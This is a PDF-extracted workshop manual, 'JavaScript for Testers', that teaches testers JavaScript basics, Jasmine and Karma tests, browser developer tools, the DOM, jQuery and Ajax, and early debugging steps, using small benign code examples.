46
JavaScript for Testers Carlos Ble

JavaScript for · PDF file“JavaScript,nottobeconfusedwithJava ... Whenthereisduplicationinthetestssetup,wecanextractitoutusingthe“beforeEach” function ... JavaScript for Testers

  • Upload
    vanmien

  • View
    241

  • Download
    1

Embed Size (px)

Citation preview

JavaScript for Testers

Carlos Ble

JavaScript for Testers

Carlos Ble

This work is licensed under a Creative Commons Attribution 3.0 Unported License

Contents

Workshop overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1Conventions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1

Configuring the project . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3Setting up the tools for the workshop . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3

The JavaScript Language . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5Introduction to Jasmine . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5Data types . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8Functions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8JavaScript: The tricky parts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10Common sources of defects . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16JSON . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17

Browser development tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18

The DOM (Document Object Model) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19

jQuery basics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20Selectors . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20Ajax . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21

Debugging Applications . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22Watching Expressions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23The Call Stack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23Debugging with Firebug . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24Debugging with Chrome Dev Tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24Debugging on IE . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25Debugging JavaScript in the server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25

Online tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26

Integration Testing utilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27Selenium . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27CasperJS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29Integration tests with Jasmine, jQuery and the DOM . . . . . . . . . . . . . . . . . . . . . 32

CONTENTS

Fast and isolated tests with doubles: Stubs, Mocks and Spies . . . . . . . . . . . . . . . . . 33Stubs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33Mocks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33Spies . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33

Code quality tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34JSHint . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34Code coverage . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34

Hunting memory leaks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35

Performance tips . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36Measuring performance . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36Benchmarking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37

Security basics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38Cookies . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38XSS: Cross-site scripting. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38The same-origin policy. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39JSONP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39CSRF: Cross-site request forgery. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40Sending malicious JSON data. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41Sniffing network messages. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41

References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42

Workshop overviewThis manual serves as documentation for a practical workshop. It’s a workshop aimed at softwaretesters who have some programming knowledge. If you don’t know anything about programming,only certain parts of the training will bring you value. In that case you’ll need to pair up with othercolleagues during the workshop. Actually, we’ll work in pairs most of the time. Former knowledgeor experience with JavaScript is not required. Even if you don’t participate in the workshop thismanual can still provide a guide to start digging into the JavaScript world, as a tester.

JavaScript is getting more a more popular and the number of applications based on it is increasingfast. A good understanding of the language and the tools will be effective to find out more ways tobreak applications down, catch defects.

Conventions

The commands written in this manual begins with the dollar symbol ($) simulating the commandline prompt. You don’t have to type the dollar symbol. Some commands required you to be a superuser. In those cases the prompt symbol will be the hash (#). On some Linux systems like Ubuntu,you can precede the command with the word “sudo” in order to execute it as such.

1 # this is the prompt for a command executed as superuser.

2 $ this is the prompt for a command executed as a regular user.

In JavaScript there are two ways to write comments. Comments are not interpreted, they are left forhumans to add annotations. The double slash affects only one line:

1 // this is a comment line, this line is not interpreted.

The slash with the asterisk is used to comment several lines:

1 /*

2 * this is a multi line comment

3 */

In this manual we use comments with dots in between to illustrate that in an actual code, therewould be some other lines of code in there but they are irrelevant for the example at hand:

Workshop overview 2

1 /* ... */

Configuring the projectThere is an online project that accompanies this manual, containing source files and libraries. Youcan download it using Mercurial¹ or by clicking the “Download” button on the project’s site, whichzips the folder:

1 https://bitbucket.org/carlosble/javascript4testers

Setting up the tools for the workshop

JavaScript is already installed in all browsers, they are ready to execute it right away. We just needto start up the browser, open the console and write JavaScript for the browser to interpret it on thefly. In that regard, it’s like BASIC back in the 80’s on computers like Commodore or Atari whereone could just start up the machine and code without any additional installation. However we aregoing to use frameworks and libraries that depend on Node.js². You need to install Node.js whichcomes along with the Node Package Manager (npm). Node.js is a platform but most of the time weare going to use it just as a JavaScript interpreter in the command line. For now, you just have toknow that Node.js can interpret JavaScript without a browser. It’s the technology used to executeJavaScript in the backend/server side. Npm is a software installer that works in the command line.

All the tools work on Windows, Linux, MacOS and other platforms.

The project contains the Jasmine test framework already as well as libraries like jQuery.

Installing Karma

Karma is an open source test runner for JavaScript written mostly by Vojta Jina, a Google employee.It was named Testacular at the beginning, aiming to illustrate that it is a spectacular test runner, butthey changed the name for obvious reasons. We are going to use Karma because it’s really fast, itsupports several test frameworks and can run on multiple browsers, even on mobile devices. Karmais installed in the project’s folder under the node_modules folder, however it’s recommended toinstall it globally. As a super user, run the following commands:

¹Versioncontroltool²http://nodejs.org/

Configuring the project 4

1 # npm install -g karma

2 # npm install karma-jasmine

3 # npm install karma-chrome-launcher

4 # npm install karma-coverage

Then start karma:

1 $ karma start karma.conf

The karma.conf file exists in the project folder and it’s been generated using the wizard that comeswith karma (“karma init karma.conf”), you don’t have to worry about this file for now. After runningthis line you should see some tests passing and some failing. It will also open up a Chrome windowto use the real browser as the execution environment, however the test results are displayed in theconsole (command line).

The JavaScript Language

..

“JavaScript, not to be confused with Java, was created in 10 days in May 1995 by Brendan Eich,then working at Netscape and now of Mozilla. JavaScript was not always known as JavaScript: theoriginal name was Mocha, a name chosen by Marc Andreessen, founder of Netscape. In Septemberof 1995 the name was changed to LiveScript, then in December of the same year, upon receiving atrademark license from Sun, the name JavaScript was adopted. This was somewhat of a marketingmove at the time, with Java being very popular around then.” - A short history of JavaScript

http://www.w3.org/community/webed/wiki/A_Short_History_of_JavaScript

The key design principles within JavaScript were taken from the Self and Scheme programminglanguages, whereas names and naming conventions were taken from Java. Its principles along withthe lack of built-in design constraints make it a multi-paradigm language that is extremely flexibleand powerful. But at the same time, it can be really hard to learn and maintain if used wrong.

JavaScript went standard in June 1997 when Ecma International published the first edition of theECMA-262 specification. The standard JavaScript today is called ECMAScript. Modern browserssupport ECMAScript version 5.

Native desktop applications provide better user experience than traditional webs because they reactimmediately to user input. However they are hard to deploy whereas the web is easy to deploy.JavaScript brings the best of both worlds because apps are deployed via browser but behave likedesktop apps. The fact that modern browsers support the ECMAScript standard is empoweringdevelopers to enhance user experience again.

JavaScript is a programming language that don’t even need the web browser to be useful. In fact,Node.js provides JavaScript in the server side. Nevertheless browsers provide specific APIs forJavaScript to manipulate HTML and CSS among other things. These APIs are the DOM (DocumentObjectModel) and the BOM (Browser ObjectModel). TheDOM is used for theGUI. TheW3C (WorldWide Web Consortium) standardized the DOM and it’s now supported by all modern browsers.

Introduction to Jasmine

Jasmine is a third party tool, it’s not part of the JavaScript language. However, this is a practicalworkshop and one of the best ways to study JavaScript is by talking the language. We are going touse automated tests as a mean to execute JavaScript code and observe its behavior. The framework

The JavaScript Language 6

is going to be Jasmine³, an open source framework developed by Pivotal Labs the company behindPivotal Tracker. A test project using Jasmine consist of the following files:

• The test runner/loader: it’s an .html file• The Jasmine files: jasmine.js and jasmine-html.js• CSS files: jasmine.css• The tests files: *spec.js

In order to run the tests we have to open the .html file in the browser (in case we don’t use karma).This html is a local web page linking all the JavaScript files and containing the code that initializesand launches the Jasmine test runner. It must contain also links to the production files and any thirdparty libraries used.

Our project folder contains a folder called “learnJavaScript” with the file runner.html in it. Openthe file with your favourite text editor to how it looks like. To run the tests, open the file with thebrowser. To learn JavaScript, we are not going to use a separate file for “production” code. We aregoing to add all the code into the “spec.js” file.

The specs structure

As you can see in spec.js, a test case is created with a “describe” block containing tests inside, whichare the “it” blocks. The first parameter passed in to “describe” and “it” is a string that explain whatis being tested. When a test fails, Jasmine shows both strings concatenated forming a sentence, thusit’s important to make sure that both strings together build up a meaningful sentence. “Describe”blocks can be nested.

When there is duplication in the tests setup, we can extract it out using the “beforeEach” functionthat Jasmine executes right before every test.

Assertions

Jasmine comes with an “expect” function and several built-in matchers to make assertions:

1 expect(actualVale).toBeGreaterThan(100);

Notice that a test without assertions is always a passing test (green), unless there are a syntax errorsor exceptions thrown in the executing code. The assertions are a fundamental part of a test. This iswhy in Test Driven Development, we run every new test before making it pass, to confirm it fails.Sometimes one makes mistakes in the test, and it’s green when we expected it to be red.

³http://pivotal.github.io/jasmine/

The JavaScript Language 7

..

The are several built-in matchers, find them listed in the framework’s site. Two useful matchers toassert on equality are:

• toBe: this is like using “===”, only identical operands are equal.• toEqual: this is similar to “==” but more powerful. It can compare objects, considering themequal if their properties have the same values.

Example

1 describe("the calculator", function(){

2 var calculator;

3 beforeEach(function(){

4 calculator = factory.calculator();

5 });

6

7 it("adds two numbers", function(){

8 var result = calculator.add(2,2);

9

10 expect(result).toEqual(4);

11 });

12

13 it("multiplies two numbers", function(){

14 var result = calculator.multiply(3,2);

15

16 expect(result).toEqual(6);

17 });

18 });

Skipping tests

Sometimes you just want to run certain tests or maybe all the tests but one. In Jasmine you can addan “x” before the “describe” or the “it” to tell the framework you want to skip those tests.

1 xdescribe("...") // this skips all the tests within the test case.

2 xit("...") // this skips this particular test.

If you are using Karma to run the tests, there is also a way to ask Karma to skip all the test but one.It works for test cases and single tests:

The JavaScript Language 8

1 ddescribe("...") // this executes only the tests within this test case.

2 iit("...") // this executes only this particular test, no more.

Data types

JavaScript is a dynamic language, variables are defined dynamically and their type is set based onthe value assignment. The value types in JavaScript are integers, strings, numbers, booleans, nulland undefined. The reference types are arrays, functions and objects.

1 var x; // x is an undefined variable

2 var x = null; // x is defined and its value is null

3 var x = 7; // x is an integer

4 var objectLiteral = {property1: 'test', property2: 777}; // an object

See more information on data types here⁴.

Functions

Functions are the essence of JavaScript, they are first-class citizens in the language. Functions canbe passed in as arguments to other functions and they can also return other functions.

1 function theName(){var sample = 1;} // a named function

2 function(){var sample = 1;} // an anonymous function

For a good introduction to functions see the beginning of the JavaScript Allongé book⁵.

JavaScript functions can be immediately-invoked⁶

1 (function(){/*...*/}())

This is a very common pattern named IIFE (immediately-invoked function expression) used toproduce lexical scopes as we will see later.

Functions can have nested functions:

⁴http://www.w3schools.com/js/js_datatypes.asp⁵https://leanpub.com/javascript-allonge/read#leanpub-auto-as-little-as-possible-about-functions-but-no-less⁶http://en.wikipedia.org/wiki/Immediately-invoked_function_expression

The JavaScript Language 9

1 function (){

2 /* ... */

3 function(){ /*...*/ }

4 /* ... */

5 }

Write your first functionInside the spec.js file, right on top of the first “describe” block, create your first function. Itshould take two numbers and return the sum. Test your function with an automated test.

Objects

There are several ways to handle objects in JavaScript. The most simple way is the “object literal”form:

1 var anObjectInstance = {

2 height: 100,

3 width: 100,

4 square: function(){return this.height * this.width;}

5 };

Functions also create object instances when invoked with the “new” keyword:

1 function SomeClass(height, width){

2 this.height = height;

3 this.width = width;

4

5 this.square = function(){

6 return this.height * this.width;

7 }

8 }

9

10 var anObjectIstance = new SomeClass(100, 100);

Create and test instance methodsUse these two forms of creating objects to create two instances in your tests. Then test themethod in the instances.

The JavaScript Language 10

In JavaScript every object has a “prototype”. It’s a pointer to another object. When you try to accessa property in an object and it’s not found, JavaScript will look for that property in its prototype.That prototype can have in turn, another prototype. So JavaScript will follow the prototype chainlooking for the required property. This is another way of creating methods in objects:

1 function SomeObject(){

2 }

3

4 SomObject.prototype.someMethod = function(){

5 return 7;

6 }

7

8 var someInstance = new SomeObject();

9 someInstance.someMethod(); // returns 7;

There are several ways to create objects. This is a common one in ECMAScript 5:

1 var someInstance = Object.create(null);

2 defineProperty(someInstance, "someMethod", function(){ return 7;});

3 someInstance.someMethod(); // returns 7;

4

5 var someOtherInstance = Object.create({someMethod: function(){return 7;}});

6 someOtherInstance.someMethod(); // returns 7;

As you can imagine, there are several ways of implementing inheritance but that is out of the scopeof this workshop, at least for now.

JavaScript: The tricky parts

There are behaviors in the language that are totally unexpected for beginners. Let’s have a look atthis characteristics with a practical approach, using automated tests to exercise them.

The “strict” mode

To avoid some of the “tricky” behaviors of JavaScript, ECMAScript 5 implements the “strict” modethat turns mistakes into errors/exceptions. To enable the strict mode add the following line at thebeginning of your namespaces declarations (global functions):

1 "use strict";

The JavaScript Language 11

Unfortunately, the strict mode is not well supported by all browsers, this is why we still have to beaware of the common mistakes programmers make.

..

“Browsers don’t reliably implement strict mode yet, so don’t blindly depend on it. Strict modechanges semantics. Relying on those changes will cause mistakes and errors in browsers whichdon’t implement strict mode. Exercise caution in using strict mode, and back up reliance on strictmode with feature tests that check whether relevant parts of strict mode are implemented. Finally,make sure to test your code in browsers that do and don’t support strict mode. If you test only inbrowsers that don’t support strict mode, you’re very likely to have problems in browsers that do,and vice versa.” - From Mozilla developer network

Coercions

In JavaScript, not only booleans evaluate to true or false. Number zero or the empty string alsoevaluate as false whereas non-zero numbers and non-empty strings evaluate to true. This is why wetalk about “truthy” or “falsy” values. Both, undefined and null evaluate to false.

There are two operators to ask for equality (and their counters, inequaliaty). The double equal andthe triple equal. Double equal returns true if both operands are truthy or falsy. On the other hand,triple equals returns true only if both operands are exactly the same thing. In other languages,operators like the double equal or the arithmetic operators fail when applied to operands of differenttypes. For example if I try to compare a string with a number. However in JavaScript, it comparesthe values, coercing them in ways that might look strange. Examples:

1 1 == "1"; // true

2 1 === "1"; // false

3 true == 1; // true

4 true == 2; // false

5 null == undefined; // true

6 NaN == NaN; // false

This post⁷ explains how coercions work.

Test the coercionsWrite a unit test for all the comparisons you can think of. See the tests pass or fail withKarma and also in the browser with Jasmine runner.

⁷http://webreflection.blogspot.com.es/2010/10/javascript-coercion-demystified.html

The JavaScript Language 12

Global variables

When a variable is used without the “var” keyword, it lives in the “global” environment. In thebrowser, the global environment is the “window” object:

1 x = 5; // global: equivalent to window.x = 5 in the browser

In node, the global environment is called just global:

1 x = 5; // global: equivalent to global.x in Node

..

Always declare variables with the “var” keyword, do not use globals.

The problem with globals is that they can easily collide among them, causing wrong behaviors, thatare hard to find and correct. Not only with our own code but also with the third party libraries wemight be using.

Write a test that creates a global variableThen create another test to see the variable is still there, potentially causing side effects(unit tests should not interfere with each other).

Undefined

Undefined is a value and it shouldn’t be writable. It’s not writable from ECMAScript 5 on, but notall browsers implement this constraint. If for some reason, the “undefined” value is overwritten, itwill cause defects in all the code that relies on undefined.

1 undefined = 100; // now the global value undefined is no longer undefined

2

3 if (someValue === undefined) // now it will fail even if someValue is undefined.

Fortunately there is an alternative way to check for undefined values:

1 if (someValue === void 0) // this works always.

A popular pattern used in jQuery to avoid overwriting the “undefined” is this:

The JavaScript Language 13

1 var namespace = namespace || {};

2 (function(namespace, undefined){

3

4 namespace.SomeClass = function(){

5 /* ... */

6 }/

7

8 }(namespace));

What’s the meaning of the code block above?Why is it avoiding possible problems with “undefined”? Write some tests for it and thediscuss with others.

The “this” and “new” keywords

Let’s review again the previous code but now, let’s introduce a tiny change.

function SomeClass(height, width){ this.height = height; this.width = width;

1 this.square = function(){

2 return this.height * this.width;

3 }

4 }

5

6 var anObjectIstance = SomeClass(100, 100);

What’s going on?Can you notice what the change is? Copy this code and paste it into the spec.js file in orderto add tests for it. Can you explain what is going on?

The “this” keyword in JavaScript does not work exactly as it does in other languages like Java. Here,it is dependent on the context. On the other hand, the “new” keyword is the one which convert plainfunctions into constructors. There are several patterns to avoid problems when the consumer forgetsthe “new” keyword.

There are ways to write JavaScript without the need for the “this” and the “new” keywords. Inthe book “JavaScript: the Good Parts”, Douglas Crockford explains a pattern called functionalinheritance that can be used to define classes:

The JavaScript Language 14

1 function someClass(){

2 var self = {};

3

4 self.someMethod = function(){

5 return 777;

6 };

7

8 return self;

9 }

10

11 var someObjectInstance = someClass();

Find more patternsThere is another patter to make the code work even when the “new” keyword is forgotten.Search the Internet for a little while and write a test for it. Hint: try to the keys “enforcingnew” to your search.

Frames

Each frame’s got its own global environment and there are problems with the “instanceof” operatorwhen and iframe sends data to a function in the parent window. See the details in this presentation⁸by Axel Rauchsmayer.

One way to avoid problems in the communication between frames, is by passing high level messagesbetween them, using the window.postMessage⁹ API.

Closures and Scope

Every function creates an environment. Variables declared inside that environment are local to it,not visible from the outside. The scope of a local variable inside a function, is the function itself andall the nested functions it might contain.

⁸https://speakerdeck.com/rauschma/categorizing-values-typeof-instanceof-and-beyond⁹https://developer.mozilla.org/en-US/docs/Web/API/Window.postMessage

The JavaScript Language 15

1 var someGlobal = 100;

2

3 function outerScope(){

4 var x = 1;

5

6 function innerScope(){

7 var y = 2;

8

9 return x + y;

10 };

11

12 return innerScope();

13 }

14

15 outerScope(); // What is this returning?

The variable “someGlobal” is visible everywhere. The variable “x” is visible inside the “outerScope”and “innerScope” functions. The variable “y” is only visible within the “innerScope” function.Variable “x” is a free variable inside the “innerScope” function because it hasn’t been defined insideor passed in as an argument. “outerScope” is a pure function whereas “innerScope” is a closure.

..

Functions containing free variables are called “closures”

Write assertions for the testsIn learningJavaScript/spec.js there is a test case (“describe when using functions” ) topractice with scopes and closures. Some of its tests are incomplete, they miss assertions.Well, the assertions are commented and incomplete. Uncomment the assertions andcomplete them making tests pass. Some other tests have assertions but they are failingbecause there are defects in the code. For those cases, fix the defects without changing theassertions.

Note: pay attention to the error messages displayed by test runner when tests fail and pass.

Advanced exercises

The JavaScript Language 16

..

A Koan is a paradox to be mediated upon that is used to train Zen Buddhist monks to abandonultimate dependence on reason and to force them into gaining sudden intuitive enlightment -Dictionary entry for Koan

The koan metaphor has been borrowed in programming referring to an exercise that consist inmaking broken tests pass, as a mean to learn a new programming language. You can find “koans”for many programming languages. The Ruby ones¹⁰ are quite popular.

This is actually what we have been doing in previous exercises.We leave you nowwithmore “koans”to dig dipper into the JavaScript language:

KoansThe tests in this link¹¹ do not pass, because the assertions are wrong. Just by reading thetests, would you know what are the right assertions for each test?

Common sources of defects

In a traditional web, every user action (event) is processed in the server side which sends back arefreshed page that is rendered in the browser. As every request refreshes the page, its controls(widgets: buttons, labels…) are reset. It’s like restarting the GUI. On the other hand, rich JavaScriptapplications process the events in the browser without page reloads. The code in the browser sendsand receive mostly data from the server. Well, sometimes certain chunks of the GUI are loaded fromthe server via JavaScript but is not the whole page. Now the controls maintain state and they haveto be cleaned up explicitly.

Imagine a list of items that you can click. When an item is clicked the application pops up a modaldialog displaying detailed information about the selected item. Let’s say the dialog contains threetext boxes to display three item’s properties. Then the user closes the dialog and selects anotheritem, bringing the dialog back to the front. If programmers didn’t clean up the text boxes within thedialog, it might display data from the old item mixed up with the last item selected.

For this reason, it’s worth repeating operations when exploring the application seeking for defects.Certain operations may work well for the first time but fail on consecutive trials.

Transient data may be another source of trouble. JavaScript applications may cache data in thebrowser, be it in memory or in the local storage¹². Data is cached to enhance user experience. The

¹⁰http://rubykoans.com/¹¹https://bitbucket.org/carlosble/bddjsworkshop/src/979268a501efa5bf37def13bef812bcfc5d51d85/introSpec/introductionSpec.js?at=default¹²localstorage

The JavaScript Language 17

problem may arise when other users are changing the same data at the same time. If that happens,the local data stored in one user’s browser is outdated compared with the data that another user hassent to the server. Developers have to code and architect the application to resolve these situations.

Network failures can represent yet another source of trouble. If the network fails for a little whileand the application tries to send data to the server, that data might be lost, unless the programmerstake care of that particular case. So when you explore the application in search of defects try toswitch off the network connection from time to time to see how the application works around thistemporary failure.

The lack of support for web standards in the browsers has been a typical source of problems in thepast decade. It still is if you have to support old browsers. Testing applications in several browsersis important, specially if the code is written with vanilla JavaScript accessing the DOM ratherthan using libraries like jQuery. jQuery and other libraries have made a brilliant job creating anabstraction layer that prevent us from writing code that works on some browsers and breaks theapplication on others.

TODO: add more information into this section

JSON

JSON is the string representation of a JavaScript object literal (a serialized object). This is an objectliteral:

1 {name: 'Bob', surname: 'Wayne'}

This is its JSON representation:

1 '{"name":"Bob","surname":"Wayne"}'

As you can see they are very similar but not the same. JSON is not valid JavaScript, it’s just a string.To convert JSON to/from JavaScript, there is a built-in utility implemented by all modern browsers:

1 var theObject = JSON.parse(theJSONstring); // JSON to JS

2 var string = JSON.stringify(theJSobject); // JS to JSON

JSON is mostly used to exchange data between the browser and the server side as well as to writeconfiguration files.

Browser development toolsFrom now we are going to use the browser intensively in the exercises. Right now the browser thatcomes with more built-in development tools is Google Chrome. Although these tools are named“developer tools”, one of their main purposes is testing.

Open up Google Chrome and visit www.google.com. Now find the browser menu, usually locatedin the top right corner. Find the “tools” item in the menu and the “Developer tools” option within¹³.Yet another way to open Developer tools is by right-clicking any item in the page and selectingthe option “Inspect Element” from the menu. It appears at the bottom of the page displaying thefollowing tabs:

• Elements: to inspect HTML and CSS as well as manipulate them on the fly.• Resources: to access files (images, JavaScript files…), cached data, cookies…• Network: to monitor all incoming and outgoing communications.• Sources: to inspect, modify and debug JavaScript files.• Timeline: to monitor the application, watching resources consumed along the time line• Profiles: for profiling purposes.• Audits: Tips on what can be optimized in the site.• Console: Displays error messages as well as JavaScript messages sent with the “console.log”function. The console let us write JavaScript to interpret it on the fly.

For testing and debugging purposes, the tabs we are going to use the most are: Elements, Sourcesand Console.

In the case of Firefox, it does bring development tools but the Firebug¹⁴ extension is what mostpeople use because it’s got more utilities. Firebug is similar to Chrome Developer Tools, in fact, itcame first. The equivalent tabs for testing and debugging are: HTML, Script and Console.

..

If you haven’t Firebug installed yet, please install it at this point. You can remove it after theworkshop if you want.

¹³OnLinuxyoucanusetheshortcutCrtl+Shift+I¹⁴Firebug

The DOM (Document Object Model)

..

“The HTML DOM defines a standard way for accessing and manipulating HTML documents. TheDOM presents an HTML document as a tree-structure.” - From w3schools.com

..

“As a W3C specification, one important objective for the Document Object Model is to providea standard programming interface that can be used in a wide variety of environments andapplications. The DOM is designed to be used with any programming language.” - From the W3C

Although the DOM goes beyond JavaScript, we’ll refer to the DOM as its JavaScript binding, theAPI to manipulate HTML with JavaScript. The DOMAPI is present only in the browser. For Node.jsthere are fake implementations for testing purposes.

1 document.getElementById("c6").name; // reading the attribute "name" of a node.

The “document” is a property that belongs in the global “window” object in the browser.

Unfortunately the DOM API is not exactly the same in all browsers, although modern browsers arefollowing the standard now but it wasn’t like that in the past decade. You could write a piece ofcode that worked on Firefox but didn’t work on Internet Explorer or the other way around. For thisreason the open source community came up with libraries that wrap up the DOM API offering anew API that works on all major browsers. This is part of the reason why libraries like jQuery gotso popular, in addition to its brilliant API and robust behavior.

Let’s go to the browserOpen up the browser and go to your favourite site. With the right mouse button inspectelements to find the id of text element. Then open the console and try to change the textusing JavaScript with the DOM API

jQuery basicsjQuery is a library. You need to include the jquery.js file into your site in order to have it available.jQuery exposes its API through the global dollar symbol ($).

1 $('#someId').html(); // reads the html as a string of the element with id someId

The “dash” symbol means an id, whereas the “dot” symbol means a class:

1 $('.blue'); // refers to all the elements with a blue class attribute

We can also select all the items of a type:

1 $('button').hide(); // hides all button elements in the page.

As you can see, jQuery offers a simple API to select DOM elements and read or set properties onthem, as well as managing events caused by the user or the browser.

1 $('document').ready(function(){console.log('page is now loaded')});

The line above is an event handler that executes once the whole page is loaded, including all itsimages and JavaScript files. The truth is that jQuery contains a lot more utilities than that but forthe purpose of this training that is all we need to know.

Let’s use jQuery on the flyGo to jquery.com. It includes the jQuery library so you can use it straight away. Then openthe browser’s console. Type in the JavaScript necessary to hide the page’s logo and someimages.

Selectors

jQuery is really powerful when it comes to select elements in the DOM. Have a look at the learningsection¹⁵ in the jQuery site. Work out the examples in the page using the console.

¹⁵http://learn.jquery.com/using-jquery-core/selecting-elements/

jQuery basics 21

Ajax

jQuery provides a nice API to use AJAX. AJAX is the most common way to send and receive datafrom the server (encoded as JSON). It is also used to bring parts of the GUI dynamically from theserver (HTML, CSS or images).

1 $.ajax(') // put an example here.

One of the “A” in AJAX stand for asynchronous which means the browser is not blocked while theserver processes the request. In order for the browser to be notified when the response arrives, AJAXuses a “callback” function. The data is passed in to that function and it’s in there when we get theflow control back to react upon this obtained message.

The functions $.get and $.post are aliases to the $.ajax function with certain settings configured.

1 $.get('/some/url', function(data){ console.log(data); }); // HTTP GET

2 $.post('/some/url', {someData: 123}); // HTTP POST

The HTTP GET command is used to request information from the server, whereas POST, PUT andDELETE are used to send and modify information.

Make some callsGo to jquery.com. Open up the browser console and execute this line: $.get(‘/’, func-tion(data){ console.log(data)}); Do you understand what is it doing?

Debugging ApplicationsThe debugger allows us to pause the execution of the code at certain points and inspect the values ofthe variables within that scope and the call stack that precedes the current point. These marks wherethe code is paused are called “breakpoints”. Once it’s paused, we can go off executing and pausingthe code line by line, watching how the state and the flow change to figure out why it reaches to acertain point. When the line is a function call, we can step over it, or step in. When we are inside afunction, we can set out of it to the point where the flow continues. Developer tools also give us theoption to pause the code whenever an exception¹⁶ is raised, behaving like a breakpoint. We debugbasically to understand the behavior of the application upon a particular circumstance aiming tospot a solution.

From a testing perspective, when we haven’t wrote the code but need to debug it, the first questionis, where do we start debugging?

The first thing is understanding the structure of the application:

• Is there a main separate JavaScript file containing all the application?• Is the JavaScript embedded in a main HTML file?• How many JavaScript files are there, which ones are related to this behavior?• Is the JavaScript minified?• Is it relying on a particular framework like Angular, Backbone, Ember, …?

The best choice is asking developers in the team. Pairing with developers to review and understandthe code is often the most productive approach. Debugging is the last alternative for an agile team tofind out defects. Before doing so, the pair would review the automated tests regarding the particulardysfunctional feature and the source code. Either the tests or the production code will tell us whatis wrong as long as it’s well written. Once the problem is found, the pair would write a failing testpointing it out to later fix it and see the test pass.

In case we can’t pair up with a developer or there are no enough automated tests, or the code is justhard to understand then we roll up our sleeves and go ahead debugging.

Some of the questions in the list above can be answered by looking at the page source in the browser(Ctrl + U in various browsers). The JavaScript libraries and frameworks use to be included at thebeginning or the bottom of the page. We can quickly see if jQuery or other libraries are being loaded.With the developer tools in the browser we can also have a look at the JavaScript files loaded.

If we are debugging an unexpected exception, the shortest path is asking Developer tools to pauseon any exception. We would freeze the execution at that point to observe the state of the system at

¹⁶anunexpectederrorstoppingtheregularflow

Debugging Applications 23

the call stack. The call stack is the sequence of function calls that have been made until reachingthe current point. They usually start with an event triggered by the user interaction, the browseritself or a callback from the server side. Even without configuring Developer Tools to stop on anexceptions, they are displayed in the console with a link to the exact line of code that raised it. Wecan just follow the link and add a breakpoint there.

It we are looking for an unexpected behavior not throwing an exception, we might need to set upsome breakpoints. If the behavior is triggered by user interaction, we must search for event namesin the code. If it’s a “click” event we can start off searching for the word “event” in the code. Tosearch for text in the source code, click on it and press Ctrl + F to show the search box. Then typein “click”. Add breakpoints in all the suspicious lines. Notice that source code listings have the linenumber at the left hand side. To add a breakpoint click on the line number. To remove a breakpointclick on it. Once breakpoints are set, repeat the action and hopefully the execution will be pausedon one of them.

In the next sections we’ll explore additional features in Firebug and Chrome that ease debuggingeven more.

Watching Expressions

..

This subsection is pending… sorry

The Call Stack

..

This subsection is pending… sorry

Debug The GameIn the project folder there is a folder called testTheGame. It contains a tiny game that weare going to explore, test and debug. It’s a client-server game with multi-player support.Run the server and open the browser to explore the sources. Try to figure out the pointwhere the “score” is updated in the screen using a breakpoint.

Debugging Applications 24

Debugging with Firebug

Let’s have a look at Firebug’s specific debugging features.

